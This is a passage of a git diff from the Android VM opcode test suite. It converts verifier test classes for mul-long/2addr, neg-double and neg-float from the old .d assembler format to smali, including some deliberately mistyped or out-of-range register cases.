-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_2addr_2.java
-.class public dot.junit.opcodes.mul_long_2addr.d.T_mul_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       mul-long/2addr v12, v14
-       return-wide v12
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.smali
new file mode 100644
index 0000000..2e1ad3f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long/2addr v12, v14
+       return-wide v12
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.d
deleted file mode 100644
index 6735fe5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_2addr_3.java
-.class public dot.junit.opcodes.mul_long_2addr.d.T_mul_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       mul-long/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.smali
new file mode 100644
index 0000000..99acac8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       mul-long/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.d
deleted file mode 100644
index e708710..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_2addr_4.java
-.class public dot.junit.opcodes.mul_long_2addr.d.T_mul_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 14
-
-       mul-long/2addr v11, v13
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.smali
new file mode 100644
index 0000000..8b2d797
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 14
+
+       mul-long/2addr v11, v13
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.d
deleted file mode 100644
index 365e8ca..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_2addr_5.java
-.class public dot.junit.opcodes.mul_long_2addr.d.T_mul_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FJ)J
-.limit regs 14
-
-       mul-long/2addr v11, v12
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.smali
new file mode 100644
index 0000000..f7b1445
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FJ)J
+.registers 14
+
+       mul-long/2addr v11, v12
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.d
deleted file mode 100644
index bd6d465..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_2addr_6.java
-.class public dot.junit.opcodes.mul_long_2addr.d.T_mul_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       mul-long/2addr v9, v12
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.smali
new file mode 100644
index 0000000..7f682b7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long/2addr v9, v12
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.d
deleted file mode 100644
index b094774..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_double_1.java
-.class public dot.junit.opcodes.neg_double.d.T_neg_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)D
-.limit regs 8
-
-       neg-double v0, v6
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.smali
new file mode 100644
index 0000000..ef0f23a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_1.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)D
+.registers 8
+
+       neg-double v0, v6
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.d
deleted file mode 100644
index a99ecff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_double_2.java
-.class public dot.junit.opcodes.neg_double.d.T_neg_double_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)D
-.limit regs 8
-
-       neg-double v0, v8
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.smali
new file mode 100644
index 0000000..56f0d62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_2.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)D
+.registers 8
+
+       neg-double v0, v8
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.d
deleted file mode 100644
index 26d6715..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_double_3.java
-.class public dot.junit.opcodes.neg_double.d.T_neg_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)D
-.limit regs 8
-
-       neg-double v0, v7
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.smali
new file mode 100644
index 0000000..9f8377e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_3.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 8
+
+       neg-double v0, v7
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.d
deleted file mode 100644
index d7a51d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_double_4.java
-.class public dot.junit.opcodes.neg_double.d.T_neg_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)D
-.limit regs 8
-
-       neg-double v0, v6
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.smali
new file mode 100644
index 0000000..7ddb761
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_4.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       neg-double v0, v6
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.d
deleted file mode 100644
index b8cbb4b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_double_5.java
-.class public dot.junit.opcodes.neg_double.d.T_neg_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)D
-.limit regs 8
-
-       neg-double v0, v7
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.smali
new file mode 100644
index 0000000..6f11e25
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_5.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 8
+
+       neg-double v0, v7
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.d
deleted file mode 100644
index 33e252a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_neg_double_6.java
-.class public dot.junit.opcodes.neg_double.d.T_neg_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)D
-.limit regs 8
-
-       neg-double v0, v5
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.smali
new file mode 100644
index 0000000..412a5eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.smali
@@ -0,0 +1,18 @@
+.source "T_neg_double_6.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)D
+.registers 8
+
+       neg-double v0, v5
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.d
deleted file mode 100644
index 3259f41..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_float_1.java
-.class public dot.junit.opcodes.neg_float.d.T_neg_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)F
-.limit regs 5
-
-       neg-float v0, v4
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.smali
new file mode 100644
index 0000000..638ed7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_float_1.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)F
+.registers 5
+
+       neg-float v0, v4
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.d
deleted file mode 100644
index 966cbe7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_float_2.java
-.class public dot.junit.opcodes.neg_float.d.T_neg_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)F
-.limit regs 5
-
-       neg-float v0, v5
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.smali
new file mode 100644
index 0000000..3c4a91d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
